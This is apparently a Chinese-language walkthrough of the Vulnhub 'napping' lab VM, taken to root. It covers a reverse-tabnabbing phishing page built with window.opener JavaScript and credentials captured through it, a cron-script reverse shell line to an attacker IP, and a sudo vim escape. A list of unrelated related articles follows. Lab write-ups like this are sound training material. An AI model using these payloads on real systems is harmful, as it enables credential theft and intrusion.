Vulnhub打靶-napping

news2024/10/21 14:26:27

基本信息

靶机下载:https://download.vulnhub.com/napping/napping-1.0.1.ova

攻击机器:192.168.20.128(Windows操作系统)& 192.168.20.138(kali)

提示信息:甚至管理员也可以在工作中睡着

靶机:192.168.20.0/24

目标:获取2个flag+root权限

具体流程

信息收集

老样子首先使用arp-scan -l对主机进行探活,发现主机IP为192.168.20.143

image-20241020124837667

之后对开放的端口进行扫描,执行nmap -O -sV -p- -A 192.168.20.143

image-20241020125025250

开放端口为22和80,重点关注80端口即可,浏览器访问80端口

image-20241020170418703

我们首先扫一下目录,看看能不能有什么发现

image-20241020170953327

但是这几个页面都没有啥用,我们先试着注册一个用户登录进去,看看能不能有什么新的发现吧

image-20241020171554012

这里有一个框可以输入网址,当我们输入网址后,点击下面的here可以直接跳转,如下所示

image-20241020181630641

这里我们可以联想到ssrf漏洞,因为服务器会去请求我们给的资源地址,我们只需要构造恶意的文件地址,但是由于管理员会检查我们提交的URL,我看了一下WP,利用了一种我从来没听过的漏洞,在这里记录一下,也算当作学习了,这个漏洞的名字叫做tabnabbing

tabnabbing漏洞利用

漏洞原理介绍

tabnabbing漏洞是一种钓鱼攻击漏洞,即反向标签劫持攻击,大致原理就是黑客通过某种方法在页面A中植入一个a标签,也就是一个超链接,即和我们本题中的输入框类似,链接我们认为的控制为我们精心准备的页面B,页面B的内容中有一个JavaScript代码,内容就是window.opener.location=“C页面的链接”,这句话的意思就是如果用户点击了该链接,就会自动跳转到C页面上,而C页面就是我们准备的和A页面一样的钓鱼页面,并且此时管理员并未发现A页面变成了C页面,进而继续在C页面上输入敏感信息,进而导致信息的泄露

操作步骤

首先我们制作一个和原本页面一致的钓鱼页面,我们这里采取kali自带的setookit进行钓鱼网页的制作,具体步骤如下所示

image-20241020231956562

我们这里直接克隆了一个和其登录界面一致的钓鱼网页,这个时候我们在我们主机的web目录下创建一个html文件,代码如下

<html>
<title>B页面</title>
 <body>
  <script>
   if (window.opener) {
      window.opener.location = "http://192.168.20.138/";
   }else{alert("跳转失败");}
  </script>
 </body>
</html>

接着把地址放到输入框中,点击here,如下所示

image-20241020232825485

然后我们的监听端口返回了一串数据,就是admin登录这个界面的账号和密码,如下所示

image-20241020232922869

账号:daniel
密码:C@ughtm3napping123

这里刚好对应上了本题的提示,管理员有时也会打盹,即管理员不够细心,未发现自己的登录界面已被钓鱼页面替换,所以我们的思路是正确的,我们使用xshell进行连接,猜测其进行了账号密码复用,由于开放了22号端口,所以我们直接尝试连接其服务器,如下所示

image-20241021093148786

权限提升

首先还是去把linpeas.sh下载下来,使用wget http://192.168.20.1/linpeas.sh

image-20241021094112990

我们执行linpeas.sh,看看能否为我们找到有用的信息,但是结果并没有什么可以利用的点,系统内核并没有什么太大的问题,我们接下来试试suid提权,sudo -l我查看过了,但是显示的是当前用户没有sudo权限,所以我们这里还是试一试suid提权,执行下述命令

find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
find / -user root -perm -4000 -print 2>/dev/null
####三种命令都可以

但是也并没有发现我们常用的suid提权方法,这个时候我们发现home目录下还有一个用户adrian,我们试着切换到另外一个用户目录下,并且尝试密码复用

image-20241021095539103

但是不幸的是,这里没有出现密码复用,所以我们只能用其他办法进入adrian用户,但是我们可以查看adrian用户下的目录,同时发现了第一个flag,但是现在目前无法打开,我们去看看其他两个文件

image-20241021101756372

######## query.py ###############
from datetime import datetime
import requests

now = datetime.now()

r = requests.get('http://127.0.0.1/')
if r.status_code == 200:
    f = open("site_status.txt","a")
    dt_string = now.strftime("%d/%m/%Y %H:%M:%S")
    f.write("Site is Up: ")
    f.write(dt_string)
    f.write("\n")
    f.close()
else:
    f = open("site_status.txt","a")
    dt_string = now.strftime("%d/%m/%Y %H:%M:%S")
    f.write("Check Out Site: ")
    f.write(dt_string)
    f.write("\n")
    f.close()

image-20241021102129325

通过这两个文件,我们可以发现这是一个定时任务,每2分钟执行一次query.py,所以我们只需要在这里面添加执行反弹shell的语句即可,我们首先在/tmp目录下创建一个shell.sh文件

#! /bin/bash

bash -c 'bash -i >& /dev/tcp/192.168.20.138/9001 0>&1'

image-20241021105402861

接下来我们等几分钟,看看是否能够成功反弹shell

image-20241021105419316

成功以adrian用户登录上,接下来我们直接进行sudo提权,接着以上面的步骤进行

image-20241021105622931

我们发现可以通过vim进行root提权,我们直接输入sudo vim -c ':!/bin/sh'即可获得root权限

image-20241021105804869

我们也成功在root根目录下找到了root.txt

image-20241021105943497

总结

  1. tabnabbing漏洞利用
  2. 利用定时任务进行反弹shell获取其他用户组权限
  3. sudo vim 提权

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2220082.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

统信UOS与Windows11传输数据

原文连接&#xff1a;统信UOS与Windows11相互传输数据 hello&#xff0c;大家好啊&#xff0c;今天给大家带来一篇统信UOS与Windows11之间通过共享文件夹传输数据的方法&#xff0c;首先在Windows11上创建共享文件夹&#xff0c;然后通过smb协议在UOS上进行连接访问&#xff0c…

彻底解决IDEA SpringBoot项目yml文件没有小树叶,读取配置文件失败问题

报错说没有配置dubbo:application:name,其实是配置了的&#xff0c;就是读不到&#xff0c;那有没有可能是yml文件不是绿叶的问题&#xff1f;网上查了很多文章配置小绿叶&#xff0c;最后还是报这个错&#xff0c;而且网上的文章配置小绿叶也太过于繁琐&#xff0c;其实就一招…

【Java后端】之 ThreadLocal 详解

想象一下&#xff0c;你有一个工具箱&#xff0c;里面放着各种工具。在多人共用这个工具箱的时候&#xff0c;很容易出现混乱&#xff0c;比如有人拿走了你的锤子&#xff0c;或者你找不到合适的螺丝刀。为了避免这种情况&#xff0c;最好的办法就是每个人都有自己独立的工具箱…

Wasm解析入口分析

直接postman请求&#xff0c;发现返回了一个wasm&#xff0c;需要解析这个wasm获取到参数。下面找到页面入口&#xff0c;如下&#xff1a; 也是个VM解析&#xff0c;VM太多了&#xff0c;扣出来就行&#xff0c;不难&#xff0c;就是麻烦的很。

6个最佳核心应用仪表盘构建工具

核心应用仪表盘&#xff08;Core App Dashboard&#xff09;的概念或许你不太熟悉&#xff0c;但仪表盘你一定不陌生。 从汽车的仪表盘显示速度和油量&#xff0c;到运动手环仪表盘追踪步数和心率&#xff0c;再到金融投资仪表盘监控股票和基金的实时行情&#xff0c;它们通过…

Flink窗口分配器WindowAssigner

前言 Flink 数据流经过 keyBy 分组后&#xff0c;下一步就是 WindowAssigner。 WindowAssigner 定义了 stream 中的元素如何被分发到各个窗口&#xff0c;元素可以被分发到一个或多个窗口中&#xff0c;Flink 内置了常用的窗口分配器&#xff0c;包括&#xff1a;tumbling wi…

JAVA线程的多种状态

线程的状态图 new状态&#xff08;新建状态&#xff09;&#xff1a; 创建了一个线程的对象&#xff0c;但是这个线程没有启动start,那么此时这个线程的状态就是NEW也就是新建状态 此时线程对象就是一个普通的JAVA对象&#xff0c;CPU还没有给其分配资源 public class Main16 {…

微信小程序案例:计算器(含代码)

✅作者简介&#xff1a;2022年博客新星 第八。热爱国学的Java后端开发者&#xff0c;修心和技术同步精进。 &#x1f34e;个人主页&#xff1a;Java Fans的博客 &#x1f34a;个人信条&#xff1a;不迁怒&#xff0c;不贰过。小知识&#xff0c;大智慧。 &#x1f49e;当前专栏…

动态中的守候:滑动窗口与距离的诗篇

公主请阅 1. 长度最小的子数组1.1 题目说明 示例 1 示例 1 示例 2 示例 3 1.2 题目分析1.3 代码部分1.4 代码分析 2. 无重复字符的最长子串2.1 题目说明示例 1示例 1示例 2示例 3 2.2 题目分析2.3 代码部分2.4 代码分析2.5 代码深度分析 1. 长度最小的子数组 题目传送门 1.1 题…

2020年计算机网络408真题解析

第一题&#xff1a; 解析&#xff1a;OSI参考模型网络协议的三要素 网络协议的三要素&#xff1a;语法 &#xff0c;语义&#xff0c;同步&#xff08;时序&#xff09; 语法&#xff1a;定义收发双方所交换信息的格式 语法&#xff1a;定义收发双方所要完成的操作 网页的加载 …

「iOS」——YYModel学习

iOS学习 前言优势使用方法简单的Model与JSON互转多样化的数据类型交换容器类数据交换 model中包含其他model白名单与黑名单 总结 前言 YYModel是YYKit的高效组件之一&#xff0c;在实际场景中的非常实用&#xff0c;在项目中使用MVC架构时&#xff0c;可以简化数据处理。在性能…

Tailwind Starter Kit 一款极简的前端快速启动模板

Tailwind Starter Kit 是基于TailwindCSS实现的一款开源的、使用简单的极简模板扩展。会用Tailwincss就可以快速入手使用。Tailwind Starter Kit 是免费开源的。它不会在原始的TailwindCSS框架中更改或添加任何CSS。它具有多个HTML元素&#xff0c;并附带了ReactJS、Vue和Angul…

tensorflow c++ api + windwos + vs部署 详细避坑

文章目录 前言一、安装MSYS2二、选择tensorflow的版本三、安装Bazel四、配置一个anconda的tensorflow环境五、生成dll,lib,include六、在vs2019中配置项目七、测试并针对性修补问题 前言 不能使用vs2022配置tensorflow c api&#xff0c;即使要安装 2.10.0版本&#xff0c;也尽…

【Next.js 项目实战系列】02-创建 Issue

原文链接 CSDN 的排版/样式可能有问题&#xff0c;去我的博客查看原文系列吧&#xff0c;觉得有用的话&#xff0c;给我的库点个star&#xff0c;关注一下吧 上一篇【Next.js 项目实战系列】01-创建项目 创建 Issue 配置 MySQL 与 Prisma​ 在数据库中可以找到相关内容&…

机器学习篇-day09-支持向量机SVM

一. 支持向量机介绍 支持向量机 介绍 SVM全称是Supported Vector Machine&#xff08;支持向量机&#xff09; 即寻找到一个超平面使样本分成两类&#xff0c;并且间隔最大。 是一种监督学习算法&#xff0c;主要用于分类&#xff0c;也可用于回归 与逻辑回归和决策树等其…

Android摄像头Camera2和Camera1的一些总结

Android 系统对摄像头的同时使用有限制&#xff0c;不能同时使用摄像头进行预览或者录制音视频。 例如&#xff1a;界面上有两个SurfaceView, 这两个SurfaceView不能同时预览或者录制音视频&#xff0c;只能有一个正常工作&#xff08;一个SurfaceView预览前置摄像头&#xff…

Linux 问题故障定位的技巧大全

1、背景 有时候会遇到一些疑难杂症,并且监控插件并不能一眼立马发现问题的根源。这时候就需要登录服务器进一步深入分析问题的根源。那么分析问题需要有一定的技术经验积累,并且有些问题涉及到的领域非常广,才能定位到问题。所以,分析问题和踩坑是非常锻炼一个人的成长和提…

Mybatis day 1020

ok了这周学习了mybatis框架&#xff0c;今天最后一天&#xff0c;加油各位&#xff01;&#xff01;&#xff01;(接上文) 八.MyBatis扩展 8.1 Mapper批量映射优化 需求 Mapper 配置文件很多时&#xff0c;在全局配置文件中一个一个注册太 麻烦&#xff0c;希望有一个办法…

MFC工控项目实例二十六创建数据库

承接专栏《MFC工控项目实例二十五多媒体定时计时器》 用选取的型号为文件名建立文件夹&#xff0c;再在下面用测试的当天的时间创建文件夹&#xff0c;在这个文件中用测试的时/分/秒为数据库名创建Adcess数据库。 1、在StdAfx.h文件最下面添加代码 #import "C:/Program F…

Ubuntu下安装Bochs2.7

文章目录 前言下载安装在Bochs实现最简单的操作系统创建软盘编写并编译汇编指令编写bochs配置文件将操作系统写入到软盘启动操作系统 前言 通过自带软件库sudo apt-get install bochs bochs-x安装的Bochs运行时不显示任何内容&#xff0c;这里选用源码安装方式。 下载安装 …